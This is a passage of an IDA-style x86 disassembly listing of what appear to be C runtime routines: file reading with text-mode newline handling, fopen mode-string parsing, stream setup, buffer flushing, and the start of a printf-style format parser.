var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		cmp	esi, dword_4DC700
		jnb	loc_41F2F9
		mov	eax, esi
		and	esi, 1Fh
		sar	eax, 5
		shl	esi, 3
		lea	ebx, ds:4DC600h[eax*4]
		mov	eax, dword_4DC600[eax*4]
		add	eax, esi
		mov	dl, [eax+4]
		test	dl, 1
		jz	loc_41F2F9
		and	[ebp+var_8], 0
		mov	edi, [ebp+arg_4]
		cmp	[ebp+arg_8], 0
		mov	ecx, edi
		jz	short loc_41F1D1
		test	dl, 2
		jnz	short loc_41F1D1
		test	dl, 48h
		jz	short loc_41F191
		mov	al, [eax+5]
		cmp	al, 0Ah
		jz	short loc_41F191
		dec	[ebp+arg_8]
		mov	[edi], al
		mov	eax, [ebx]
		lea	ecx, [edi+1]
		mov	[ebp+var_8], 1
		mov	byte ptr [eax+esi+5], 0Ah

loc_41F191:				; CODE XREF: sub_41F11C+56j
					; sub_41F11C+5Dj
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		mov	eax, [ebx]
		push	[ebp+arg_8]
		push	ecx
		push	dword ptr [eax+esi]
		nop
		call	near ptr 26F0000h
		test	eax, eax
		jnz	short loc_41F1E4
		nop
		call	near ptr 2670914h
		push	5
		pop	ecx
		cmp	eax, ecx
		jnz	short loc_41F1CC
		mov	dword_4DB2A8, 9
		mov	dword_4DB2AC, ecx
		jmp	loc_41F30A
; ---------------------------------------------------------------------------

loc_41F1CC:				; CODE XREF: sub_41F11C+99j
		cmp	eax, 6Dh
		jnz	short loc_41F1D8

loc_41F1D1:				; CODE XREF: sub_41F11C+4Cj
					; sub_41F11C+51j
		xor	eax, eax
		jmp	loc_41F30D
; ---------------------------------------------------------------------------

loc_41F1D8:				; CODE XREF: sub_41F11C+B3j
		push	eax
		call	sub_4203DF
		pop	ecx
		jmp	loc_41F30A
; ---------------------------------------------------------------------------

loc_41F1E4:				; CODE XREF: sub_41F11C+8Cj
		mov	eax, [ebx]
		mov	edx, [ebp+var_C]
		add	[ebp+var_8], edx
		lea	ecx, [eax+esi+4]
		mov	al, [eax+esi+4]
		test	al, 80h
		jz	loc_41F2F4
		test	edx, edx
		jz	short loc_41F209
		cmp	byte ptr [edi],	0Ah
		jnz	short loc_41F209
		or	al, 4
		jmp	short loc_41F20B
; ---------------------------------------------------------------------------

loc_41F209:				; CODE XREF: sub_41F11C+E2j
					; sub_41F11C+E7j
		and	al, 0FBh

loc_41F20B:				; CODE XREF: sub_41F11C+EBj
		mov	[ecx], al
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_8]
		mov	[ebp+arg_8], eax
		add	ecx, eax
		cmp	eax, ecx
		mov	[ebp+var_8], ecx
		jnb	loc_41F2EE

loc_41F223:				; CODE XREF: sub_41F11C+1BAj
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, 1Ah
		jz	loc_41F2DE
		cmp	al, 0Dh
		jz	short loc_41F23F
		mov	[edi], al
		inc	edi
		inc	[ebp+arg_8]
		jmp	loc_41F2D0
; ---------------------------------------------------------------------------

loc_41F23F:				; CODE XREF: sub_41F11C+116j
		dec	ecx
		cmp	[ebp+arg_8], ecx
		jnb	short loc_41F25D
		mov	eax, [ebp+arg_8]
		inc	eax
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41F254
		add	[ebp+arg_8], 2
		jmp	short loc_41F2B2
; ---------------------------------------------------------------------------

loc_41F254:				; CODE XREF: sub_41F11C+130j
		mov	byte ptr [edi],	0Dh
		inc	edi
		mov	[ebp+arg_8], eax
		jmp	short loc_41F2D0
; ---------------------------------------------------------------------------

loc_41F25D:				; CODE XREF: sub_41F11C+127j
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		inc	[ebp+arg_8]
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		nop
		call	near ptr 26F0000h
		test	eax, eax
		jnz	short loc_41F285
		nop
		call	near ptr 2670914h
		test	eax, eax
		jnz	short loc_41F2CC

loc_41F285:				; CODE XREF: sub_41F11C+15Dj
		cmp	[ebp+var_C], 0
		jz	short loc_41F2CC
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 48h
		jz	short loc_41F2A7
		mov	al, [ebp+var_1]
		cmp	al, 0Ah
		jz	short loc_41F2B2
		mov	byte ptr [edi],	0Dh
		mov	ecx, [ebx]
		inc	edi
		mov	[ecx+esi+5], al
		jmp	short loc_41F2D0
; ---------------------------------------------------------------------------

loc_41F2A7:				; CODE XREF: sub_41F11C+176j
		cmp	edi, [ebp+arg_4]
		jnz	short loc_41F2B7
		cmp	[ebp+var_1], 0Ah
		jnz	short loc_41F2B7

loc_41F2B2:				; CODE XREF: sub_41F11C+136j
					; sub_41F11C+17Dj
		mov	byte ptr [edi],	0Ah
		jmp	short loc_41F2CF
; ---------------------------------------------------------------------------

loc_41F2B7:				; CODE XREF: sub_41F11C+18Ej
					; sub_41F11C+194j
		push	1
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		call	sub_42272B
		add	esp, 0Ch
		cmp	[ebp+var_1], 0Ah
		jz	short loc_41F2D0

loc_41F2CC:				; CODE XREF: sub_41F11C+167j
					; sub_41F11C+16Dj
		mov	byte ptr [edi],	0Dh

loc_41F2CF:				; CODE XREF: sub_41F11C+199j
		inc	edi

loc_41F2D0:				; CODE XREF: sub_41F11C+11Ej
					; sub_41F11C+13Fj ...
		mov	ecx, [ebp+var_8]
		cmp	[ebp+arg_8], ecx
		jb	loc_41F223
		jmp	short loc_41F2EE
; ---------------------------------------------------------------------------

loc_41F2DE:				; CODE XREF: sub_41F11C+10Ej
		mov	eax, [ebx]
		lea	esi, [eax+esi+4]
		mov	al, [esi]
		test	al, 40h
		jnz	short loc_41F2EE
		or	al, 2
		mov	[esi], al

loc_41F2EE:				; CODE XREF: sub_41F11C+101j
					; sub_41F11C+1C0j ...
		sub	edi, [ebp+arg_4]
		mov	[ebp+var_8], edi

loc_41F2F4:				; CODE XREF: sub_41F11C+DAj
		mov	eax, [ebp+var_8]
		jmp	short loc_41F30D
; ---------------------------------------------------------------------------

loc_41F2F9:				; CODE XREF: sub_41F11C+12j
					; sub_41F11C+39j
		and	dword_4DB2AC, 0
		mov	dword_4DB2A8, 9

loc_41F30A:				; CODE XREF: sub_41F11C+ABj
					; sub_41F11C+C3j
		or	eax, 0FFFFFFFFh

loc_41F30D:				; CODE XREF: sub_41F11C+B7j
					; sub_41F11C+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F11C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F312	proc near		; CODE XREF: sub_41B202+126p
					; sub_41B202+24Bp ...

arg_0		= dword	ptr  4

		mov	eax, dword_4DB328
		test	eax, eax
		jz	short loc_41F32A
		push	[esp+arg_0]
		call	eax
		test	eax, eax
		pop	ecx
		jz	short loc_41F32A
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_41F32A:				; CODE XREF: sub_41F312+7j
					; sub_41F312+12j
		xor	eax, eax
		retn
sub_41F312	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F32D	proc near		; CODE XREF: sub_41B4A2+17p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, dword_4DB494
		push	edi
		mov	edi, [ebp+arg_4]
		xor	ebx, ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	al, [edi]
		cmp	al, 61h
		jz	short loc_41F366
		cmp	al, 72h
		jz	short loc_41F35F
		cmp	al, 77h
		jnz	loc_41F47A
		mov	ecx, 301h
		jmp	short loc_41F36B
; ---------------------------------------------------------------------------

loc_41F35F:				; CODE XREF: sub_41F32D+21j
		xor	ecx, ecx
		or	esi, 1
		jmp	short loc_41F36E
; ---------------------------------------------------------------------------

loc_41F366:				; CODE XREF: sub_41F32D+1Dj
		mov	ecx, 109h

loc_41F36B:				; CODE XREF: sub_41F32D+30j
		or	esi, 2

loc_41F36E:				; CODE XREF: sub_41F32D+37j
		push	1
		pop	edx

loc_41F371:				; CODE XREF: sub_41F32D+8Bj
					; sub_41F32D+A0j ...
		mov	al, [edi+1]
		inc	edi
		cmp	al, bl
		jz	loc_41F460
		cmp	edx, ebx
		jz	loc_41F460
		movsx	eax, al
		cmp	eax, 54h
		jg	short loc_41F3FF
		jz	short loc_41F3EF
		sub	eax, 2Bh
		jz	short loc_41F3D9
		sub	eax, 19h
		jz	short loc_41F3CF
		sub	eax, 0Eh
		jz	short loc_41F3BA
		dec	eax
		jnz	loc_41F451
		cmp	[ebp+var_4], ebx
		jnz	loc_41F451
		mov	[ebp+var_4], 1
		or	ecx, 20h
		jmp	short loc_41F371
; ---------------------------------------------------------------------------

loc_41F3BA:				; CODE XREF: sub_41F32D+6Fj
		cmp	[ebp+var_4], ebx
		jnz	loc_41F451
		mov	[ebp+var_4], 1
		or	ecx, 10h
		jmp	short loc_41F371
; ---------------------------------------------------------------------------

loc_41F3CF:				; CODE XREF: sub_41F32D+6Aj
		test	cl, 40h
		jnz	short loc_41F451
		or	ecx, 40h
		jmp	short loc_41F371
; ---------------------------------------------------------------------------

loc_41F3D9:				; CODE XREF: sub_41F32D+65j
		test	cl, 2
		jnz	short loc_41F451
		and	ecx, 0FFFFFFFEh
		and	esi, 0FFFFFFFCh
		or	ecx, 2
		or	esi, 80h
		jmp	short loc_41F371
; ---------------------------------------------------------------------------

loc_41F3EF:				; CODE XREF: sub_41F32D+60j
		mov	eax, 1000h
		test	ecx, eax
		jnz	short loc_41F451
		or	ecx, eax
		jmp	loc_41F371
; ---------------------------------------------------------------------------

loc_41F3FF:				; CODE XREF: sub_41F32D+5Ej
		sub	eax, 62h
		jz	short loc_41F44C
		dec	eax
		jz	short loc_41F435
		sub	eax, 0Bh
		jz	short loc_41F41E
		sub	eax, 6
		jnz	short loc_41F451
		test	ch, 0C0h
		jnz	short loc_41F451
		or	ch, 40h
		jmp	loc_41F371
; ---------------------------------------------------------------------------

loc_41F41E:				; CODE XREF: sub_41F32D+DDj
		cmp	[ebp+var_8], ebx
		jnz	short loc_41F451
		mov	[ebp+var_8], 1
		and	esi, 0FFFFBFFFh
		jmp	loc_41F371
; ---------------------------------------------------------------------------

loc_41F435:				; CODE XREF: sub_41F32D+D8j
		cmp	[ebp+var_8], ebx
		jnz	short loc_41F451
		mov	[ebp+var_8], 1
		or	esi, 4000h
		jmp	loc_41F371
; ---------------------------------------------------------------------------

loc_41F44C:				; CODE XREF: sub_41F32D+D5j
		test	ch, 0C0h
		jz	short loc_41F458

loc_41F451:				; CODE XREF: sub_41F32D+72j
					; sub_41F32D+7Bj ...
		xor	edx, edx
		jmp	loc_41F371
; ---------------------------------------------------------------------------

loc_41F458:				; CODE XREF: sub_41F32D+122j
		or	ch, 80h
		jmp	loc_41F371
; ---------------------------------------------------------------------------

loc_41F460:				; CODE XREF: sub_41F32D+4Aj
					; sub_41F32D+52j
		push	1A4h
		push	[ebp+arg_8]
		push	ecx
		push	[ebp+arg_0]
		call	sub_423A33
		mov	ecx, eax
		add	esp, 10h
		cmp	ecx, ebx
		jge	short loc_41F47E

loc_41F47A:				; CODE XREF: sub_41F32D+25j
		xor	eax, eax
		jmp	short loc_41F498
; ---------------------------------------------------------------------------

loc_41F47E:				; CODE XREF: sub_41F32D+14Bj
		mov	eax, [ebp+arg_C]
		inc	dword_4DB490
		mov	[eax+0Ch], esi
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], ebx
		mov	[eax+1Ch], ebx
		mov	[eax+10h], ecx

loc_41F498:				; CODE XREF: sub_41F32D+14Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F32D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F49D	proc near		; CODE XREF: sub_41B4A2p
		mov	edx, dword_4DC5E0
		push	ebx
		push	ebp
		push	esi
		xor	ebp, ebp
		xor	esi, esi
		xor	eax, eax
		cmp	edx, ebp
		push	edi
		jle	short loc_41F50E
		mov	ebx, dword_4DB5C8
		mov	edi, ebx

loc_41F4B9:				; CODE XREF: sub_41F49D+2Ej
		mov	ecx, [edi]
		cmp	ecx, ebp
		jz	short loc_41F4D4
		test	byte ptr [ecx+0Ch], 83h
		jz	short loc_41F4CF
		inc	eax
		add	edi, 4
		cmp	eax, edx
		jl	short loc_41F4B9
		jmp	short loc_41F50E
; ---------------------------------------------------------------------------

loc_41F4CF:				; CODE XREF: sub_41F49D+26j
		mov	esi, [ebx+eax*4]
		jmp	short loc_41F4F8
; ---------------------------------------------------------------------------

loc_41F4D4:				; CODE XREF: sub_41F49D+20j
		mov	edi, eax
		push	20h
		shl	edi, 2
		call	sub_41B4D5
		pop	ecx
		mov	ecx, dword_4DB5C8
		mov	[edi+ecx], eax
		mov	eax, dword_4DB5C8
		mov	edi, [edi+eax]
		cmp	edi, ebp
		jz	short loc_41F50E
		mov	esi, edi

loc_41F4F8:				; CODE XREF: sub_41F49D+35j
		cmp	esi, ebp
		jz	short loc_41F50E
		or	dword ptr [esi+10h], 0FFFFFFFFh
		mov	[esi+4], ebp
		mov	[esi+0Ch], ebp
		mov	[esi+8], ebp
		mov	[esi], ebp
		mov	[esi+1Ch], ebp

loc_41F50E:				; CODE XREF: sub_41F49D+12j
					; sub_41F49D+30j ...
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41F49D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F515	proc near		; CODE XREF: sub_41B6EE+17p
					; sub_41B6EE+58p ...

var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax+1]
		cmp	ecx, 100h
		ja	short loc_41F533
		mov	ecx, off_43C328
		movzx	eax, word ptr [ecx+eax*2]
		jmp	short loc_41F585
; ---------------------------------------------------------------------------

loc_41F533:				; CODE XREF: sub_41F515+10j
		mov	ecx, eax
		push	esi
		mov	esi, off_43C328
		sar	ecx, 8
		movzx	edx, cl
		test	byte ptr [esi+edx*2+1],	80h
		pop	esi
		jz	short loc_41F558
		and	[ebp+var_2], 0
		mov	[ebp+var_4], cl
		mov	[ebp+var_3], al
		push	2
		jmp	short loc_41F561
; ---------------------------------------------------------------------------

loc_41F558:				; CODE XREF: sub_41F515+33j
		and	[ebp+var_3], 0
		mov	[ebp+var_4], al
		push	1

loc_41F561:				; CODE XREF: sub_41F515+41j
		pop	eax
		lea	ecx, [ebp+arg_0+2]
		push	1
		push	0
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_423CEC
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41F581
		leave
		retn
; ---------------------------------------------------------------------------

loc_41F581:				; CODE XREF: sub_41F515+68j
		movzx	eax, word ptr [ebp+arg_0+2]

loc_41F585:				; CODE XREF: sub_41F515+1Cj
		and	eax, [ebp+arg_4]
		leave
		retn
sub_41F515	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F58A	proc near		; CODE XREF: sub_41B886+46p
					; sub_41B980+45p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [esi+0Ch]
		mov	ebx, [esi+10h]
		test	al, 82h
		jz	loc_41F693
		test	al, 40h
		jnz	loc_41F693
		test	al, 1
		jz	short loc_41F5C2
		and	dword ptr [esi+4], 0
		test	al, 10h
		jz	loc_41F693
		mov	ecx, [esi+8]
		and	al, 0FEh
		mov	[esi], ecx
		mov	[esi+0Ch], eax

loc_41F5C2:				; CODE XREF: sub_41F58A+20j
		mov	eax, [esi+0Ch]
		and	dword ptr [esi+4], 0
		and	[ebp+arg_4], 0
		and	al, 0EFh
		or	al, 2
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41F5FC
		cmp	esi, offset dword_43CA38
		jz	short loc_41F5EA
		cmp	esi, offset dword_43CA58
		jnz	short loc_41F5F5

loc_41F5EA:				; CODE XREF: sub_41F58A+56j
		push	ebx
		call	sub_423E35
		test	eax, eax
		pop	ecx
		jnz	short loc_41F5FC

loc_41F5F5:				; CODE XREF: sub_41F58A+5Ej
		push	esi
		call	sub_4239EF
		pop	ecx

loc_41F5FC:				; CODE XREF: sub_41F58A+4Ej
					; sub_41F58A+69j
		test	word ptr [esi+0Ch], 108h
		push	edi
		jz	short loc_41F669
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		lea	ecx, [eax+1]
		mov	[esi], ecx
		mov	ecx, [esi+18h]
		dec	ecx
		test	edi, edi
		mov	[esi+4], ecx
		jle	short loc_41F62C
		push	edi
		push	eax
		push	ebx
		call	sub_42291D
		add	esp, 0Ch
		mov	[ebp+arg_4], eax
		jmp	short loc_41F65F
; ---------------------------------------------------------------------------

loc_41F62C:				; CODE XREF: sub_41F58A+90j
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_41F647
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DC600[eax*4]
		lea	eax, [eax+ecx*8]
		jmp	short loc_41F64C
; ---------------------------------------------------------------------------

loc_41F647:				; CODE XREF: sub_41F58A+A5j
		mov	eax, offset dword_43C980

loc_41F64C:				; CODE XREF: sub_41F58A+BBj
		test	byte ptr [eax+4], 20h
		jz	short loc_41F65F
		push	2
		push	0
		push	ebx
		call	sub_42272B
		add	esp, 0Ch

loc_41F65F:				; CODE XREF: sub_41F58A+A0j
					; sub_41F58A+C6j
		mov	eax, [esi+8]
		mov	cl, byte ptr [ebp+arg_0]
		mov	[eax], cl
		jmp	short loc_41F67D
; ---------------------------------------------------------------------------

loc_41F669:				; CODE XREF: sub_41F58A+79j
		push	1
		lea	eax, [ebp+arg_0]
		pop	edi
		push	edi
		push	eax
		push	ebx
		call	sub_42291D
		add	esp, 0Ch
		mov	[ebp+arg_4], eax

loc_41F67D:				; CODE XREF: sub_41F58A+DDj
		cmp	[ebp+arg_4], edi
		pop	edi
		jz	short loc_41F689
		or	dword ptr [esi+0Ch], 20h
		jmp	short loc_41F698
; ---------------------------------------------------------------------------

loc_41F689:				; CODE XREF: sub_41F58A+F7j
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh
		jmp	short loc_41F69B
; ---------------------------------------------------------------------------

loc_41F693:				; CODE XREF: sub_41F58A+10j
					; sub_41F58A+18j ...
		or	al, 20h
		mov	[esi+0Ch], eax

loc_41F698:				; CODE XREF: sub_41F58A+FDj
		or	eax, 0FFFFFFFFh

loc_41F69B:				; CODE XREF: sub_41F58A+107j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41F58A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F69F	proc near		; CODE XREF: sub_41B886+29p
					; sub_41B980+28p ...

var_248		= byte ptr -248h
var_247		= byte ptr -247h
var_49		= byte ptr -49h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 248h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+var_C], esi
		mov	[ebp+var_14], esi
		mov	[ebp+arg_4], edi
		jz	loc_41FDB8
		mov	ecx, [ebp+var_10]
		xor	edx, edx
		jmp	short loc_41F6D3
; ---------------------------------------------------------------------------

loc_41F6CB:				; CODE XREF: sub_41F69F+713j
		mov	ecx, [ebp+var_10]
		mov	esi, [ebp+var_30]
		xor	edx, edx

loc_41F6D3:				; CODE XREF: sub_41F69F+2Aj
		cmp	[ebp+var_14], edx
		jl	loc_41FDB8
		cmp	bl, 20h
		jl	short loc_41F6F4
		cmp	bl, 78h
		jg	short loc_41F6F4
		movsx	eax, bl
		mov	al, [eax+42773Ch]
		and	eax, 0Fh
		jmp	short loc_41F6F6
; ---------------------------------------------------------------------------

loc_41F6F4:				; CODE XREF: sub_41F69F+40j
					; sub_41F69F+45j
		xor	eax, eax

loc_41F6F6:				; CODE XREF: sub_41F69F+53j
		movsx	eax, byte_42775C[esi+eax*8]
		sar	eax, 4
		cmp	eax, 7		; switch 8 cases
		mov	[ebp+var_30], eax
		ja	loc_41FDA7	; default
		jmp	off_41FDC0[eax*4] ; switch jump

loc_41F714:				; DATA XREF: ___:off_41FDC0o
		or	[ebp+var_10], 0FFFFFFFFh ; jumptable 0041F70D case 1
		mov	[ebp+var_34], edx
		mov	[ebp+var_28], edx
		mov	[ebp+var_20], edx
		mov	[ebp+var_1C], edx
		mov	[ebp+var_4], edx
		mov	[ebp+var_24], edx
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F72F:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		movsx	eax, bl		; jumptable 0041F70D case 2
		sub	eax, 20h
		jz	short loc_41F772
		sub	eax, 3
		jz	short loc_41F769
		sub	eax, 8
		jz	short loc_41F760
		dec	eax
		dec	eax
		jz	short loc_41F757
		sub	eax, 3
		jnz	loc_41FDA7	; default
		or	[ebp+var_4], 8
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F757:				; CODE XREF: sub_41F69F+A4j
		or	[ebp+var_4], 4
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F760:				; CODE XREF: sub_41F69F+A0j
		or	[ebp+var_4], 1
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F769:				; CODE XREF: sub_41F69F+9Bj
		or	byte ptr [ebp+var_4], 80h
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F772:				; CODE XREF: sub_41F69F+96j
		or	[ebp+var_4], 2
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F77B:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		cmp	bl, 2Ah		; jumptable 0041F70D case 3
		jnz	short loc_41F7A3
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	eax, eax
		pop	ecx
		mov	[ebp+var_20], eax
		jge	loc_41FDA7	; default
		or	[ebp+var_4], 4
		neg	eax

loc_41F79B:				; CODE XREF: sub_41F69F+111j
		mov	[ebp+var_20], eax
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F7A3:				; CODE XREF: sub_41F69F+DFj
		mov	eax, [ebp+var_20]
		movsx	ecx, bl
		lea	eax, [eax+eax*4]
		lea	eax, [ecx+eax*2-30h]
		jmp	short loc_41F79B
; ---------------------------------------------------------------------------

loc_41F7B2:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		mov	[ebp+var_10], edx ; jumptable 0041F70D case 4
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F7BA:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		cmp	bl, 2Ah		; jumptable 0041F70D case 5
		jnz	short loc_41F7DD
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	eax, eax
		pop	ecx
		mov	[ebp+var_10], eax
		jge	loc_41FDA7	; default
		or	[ebp+var_10], 0FFFFFFFFh
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F7DD:				; CODE XREF: sub_41F69F+11Ej
		lea	eax, [ecx+ecx*4]
		movsx	ecx, bl
		lea	eax, [ecx+eax*2-30h]
		mov	[ebp+var_10], eax
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F7EF:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		cmp	bl, 49h		; jumptable 0041F70D case 6
		jz	short loc_41F822
		cmp	bl, 68h
		jz	short loc_41F819
		cmp	bl, 6Ch
		jz	short loc_41F810
		cmp	bl, 77h
		jnz	loc_41FDA7	; default
		or	byte ptr [ebp+var_4+1],	8
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F810:				; CODE XREF: sub_41F69F+15Dj
		or	[ebp+var_4], 10h
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F819:				; CODE XREF: sub_41F69F+158j
		or	[ebp+var_4], 20h
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F822:				; CODE XREF: sub_41F69F+153j
		cmp	byte ptr [edi],	36h
		jnz	short loc_41F83B
		cmp	byte ptr [edi+1], 34h
		jnz	short loc_41F83B
		inc	edi
		inc	edi
		or	byte ptr [ebp+var_4+1],	80h
		mov	[ebp+arg_4], edi
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F83B:				; CODE XREF: sub_41F69F+186j
					; sub_41F69F+18Cj
		mov	[ebp+var_30], edx

loc_41F83E:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		mov	ecx, off_43C328	; jumptable 0041F70D case 0
		mov	[ebp+var_24], edx
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41F86A
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_41FDE0
		mov	bl, [edi]
		add	esp, 0Ch
		inc	edi
		mov	[ebp+arg_4], edi

loc_41F86A:				; CODE XREF: sub_41F69F+1B0j
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_41FDE0
		add	esp, 0Ch
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F882:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		movsx	eax, bl		; jumptable 0041F70D case 7
		cmp	eax, 67h
		jg	loc_41FAAA
		cmp	eax, 65h
		jge	loc_41F92D
		cmp	eax, 58h
		jg	loc_41F98B
		jz	loc_41FB1E
		sub	eax, 43h
		jz	loc_41F94E
		dec	eax
		dec	eax
		jz	short loc_41F923
		dec	eax
		dec	eax
		jz	short loc_41F923
		sub	eax, 0Ch
		jnz	loc_41FCA9
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_41F8CC
		or	byte ptr [ebp+var_4+1],	8

loc_41F8CC:				; CODE XREF: sub_41F69F+227j
					; sub_41F69F+42Aj
		mov	esi, [ebp+var_10]
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41F8D9
		mov	esi, 7FFFFFFFh

loc_41F8D9:				; CODE XREF: sub_41F69F+233j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	word ptr [ebp+var_4], 810h
		pop	ecx
		mov	ecx, eax
		mov	[ebp+var_8], ecx
		jz	loc_41FAF2
		test	ecx, ecx
		jnz	short loc_41F901
		mov	ecx, off_43C544
		mov	[ebp+var_8], ecx

loc_41F901:				; CODE XREF: sub_41F69F+257j
		mov	[ebp+var_24], 1
		mov	eax, ecx

loc_41F90A:				; CODE XREF: sub_41F69F+282j
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	loc_41FAE9
		cmp	word ptr [eax],	0
		jz	loc_41FAE9
		inc	eax
		inc	eax
		jmp	short loc_41F90A
; ---------------------------------------------------------------------------

loc_41F923:				; CODE XREF: sub_41F69F+212j
					; sub_41F69F+216j
		mov	[ebp+var_34], 1
		add	bl, 20h

loc_41F92D:				; CODE XREF: sub_41F69F+1F2j
		or	[ebp+var_4], 40h
		lea	edi, [ebp+var_248]
		cmp	ecx, edx
		mov	[ebp+var_8], edi
		jge	loc_41FA11
		mov	[ebp+var_10], 6
		jmp	loc_41FA1F
; ---------------------------------------------------------------------------

loc_41F94E:				; CODE XREF: sub_41F69F+20Aj
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_41F95A
		or	byte ptr [ebp+var_4+1],	8

loc_41F95A:				; CODE XREF: sub_41F69F+2B5j
					; sub_41F69F+2F4j
		test	word ptr [ebp+var_4], 810h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41F9A1
		call	sub_41FE9B
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_423E5B
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		test	eax, eax
		jge	short loc_41F9B4
		mov	[ebp+var_28], 1
		jmp	short loc_41F9B4
; ---------------------------------------------------------------------------

loc_41F98B:				; CODE XREF: sub_41F69F+1FBj
